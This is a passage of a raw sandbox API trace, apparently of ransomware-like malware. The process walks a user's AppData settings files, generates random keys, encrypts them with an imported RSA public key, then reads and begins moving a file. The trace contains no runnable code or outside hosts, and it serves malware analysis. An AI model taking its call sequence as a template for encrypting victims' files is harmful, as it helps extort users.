dwFlags=0x0) returned 1 [0195.407] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.825] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0195.827] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.827] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.827] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0195.827] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.827] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0195.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.829] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.829] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0195.829] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0195.830] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0195.832] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c738) returned 1 [0195.832] CryptGetKeyParam (in: hKey=0x508c738, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.832] CryptEncrypt (in: hKey=0x508c738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6240000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6240000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0195.832] GetLastError () returned 0x0 [0195.832] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.832] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0195.835] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c638) returned 1 [0195.835] CryptGetKeyParam (in: hKey=0x508c638, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.835] CryptEncrypt (in: hKey=0x508c638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6250000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6250000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0195.835] GetLastError () returned 0x0 [0195.835] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.835] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.909] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0195.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.911] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.911] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0195.911] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.911] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0195.912] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.913] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0195.913] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.913] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0195.915] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c838) returned 1 [0195.915] CryptGetKeyParam (in: hKey=0x508c838, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.916] CryptEncrypt (in: hKey=0x508c838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6260000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6260000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0195.916] GetLastError () returned 0x0 [0195.916] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0195.916] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0195.917] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c1b8) returned 1 [0195.917] CryptGetKeyParam (in: hKey=0x508c1b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.917] CryptEncrypt (in: hKey=0x508c1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6270000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6270000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0195.918] GetLastError () returned 0x0 [0195.918] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.918] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.968] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0195.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.970] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.970] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0195.970] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.970] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0195.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0195.972] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0195.972] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0195.972] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0195.973] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0195.975] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c078) returned 1 [0195.975] CryptGetKeyParam (in: hKey=0x508c078, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.975] CryptEncrypt (in: hKey=0x508c078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6280000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6280000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0195.975] GetLastError () returned 0x0 [0195.975] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0195.975] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0195.977] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c538) returned 1 [0195.977] CryptGetKeyParam (in: hKey=0x508c538, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0195.977] CryptEncrypt (in: hKey=0x508c538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6290000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6290000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0195.978] GetLastError () returned 0x0 [0195.978] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0195.978] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.999] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0196.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.002] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0196.002] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0196.002] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0196.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.004] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0196.004] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.004] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0196.006] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c0b8) returned 1 [0196.006] CryptGetKeyParam (in: hKey=0x508c0b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0196.006] CryptEncrypt (in: hKey=0x508c0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x62a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0196.006] GetLastError () returned 0x0 [0196.006] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.006] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0196.008] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c2f8) returned 1 [0196.008] CryptGetKeyParam (in: hKey=0x508c2f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0196.008] CryptEncrypt (in: hKey=0x508c2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x62b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0196.009] GetLastError () returned 0x0 [0196.009] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.009] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.045] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0196.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.047] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.047] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0196.047] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.047] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0196.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.049] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.049] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0196.049] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.050] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0196.052] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c338) returned 1 [0196.052] CryptGetKeyParam (in: hKey=0x508c338, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0196.052] CryptEncrypt (in: hKey=0x508c338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x62c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0196.052] GetLastError () returned 0x0 [0196.052] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.052] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0196.054] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c678) returned 1 [0196.054] CryptGetKeyParam (in: hKey=0x508c678, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0196.054] CryptEncrypt (in: hKey=0x508c678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x62d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0196.054] GetLastError () returned 0x0 [0196.054] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.054] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.203] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0196.205] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.206] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.206] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0196.206] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.206] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0196.207] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.208] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.208] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0196.208] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.208] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0196.210] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x508bf38) returned 1 [0196.210] CryptGetKeyParam (in: hKey=0x508bf38, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0196.210] CryptEncrypt (in: hKey=0x508bf38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x62e0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0196.211] GetLastError () returned 0x0 [0196.211] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.211] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0196.213] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x508bcb8) returned 1 [0196.213] CryptGetKeyParam (in: hKey=0x508bcb8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0196.213] CryptEncrypt (in: hKey=0x508bcb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62f0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x62f0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0196.213] GetLastError () returned 0x0 [0196.213] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.213] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.225] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0196.227] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.228] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.228] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0196.228] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0196.228] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0196.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.230] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.230] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0196.230] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.230] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0196.232] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c4f8) returned 1 [0196.232] CryptGetKeyParam (in: hKey=0x508c4f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.232] CryptEncrypt (in: hKey=0x508c4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6300000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6300000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0196.232] GetLastError () returned 0x0 [0196.232] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0196.232] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0196.234] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c278) returned 1 [0196.234] CryptGetKeyParam (in: hKey=0x508c278, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.234] CryptEncrypt (in: hKey=0x508c278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6310000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6310000*, pdwDataLen=0x285d630*=0x100) returned 1 [0196.234] GetLastError () returned 0x0 [0196.234] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0196.234] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\smartscreencache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0196.236] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6320000 [0196.237] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6330000 [0196.238] ReadFile (in: hFile=0x510, lpBuffer=0x6330000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6330000*, lpNumberOfBytesRead=0x285d670*=0x1e2a0, lpOverlapped=0x0) returned 1 [0196.247] VirtualAlloc (lpAddress=0x0, dwSize=0x1e2a0, flAllocationType=0x3000, flProtect=0x4) returned 0x6440000 [0196.254] MoveFileW (lpExistingFileName="C:\\Documents and 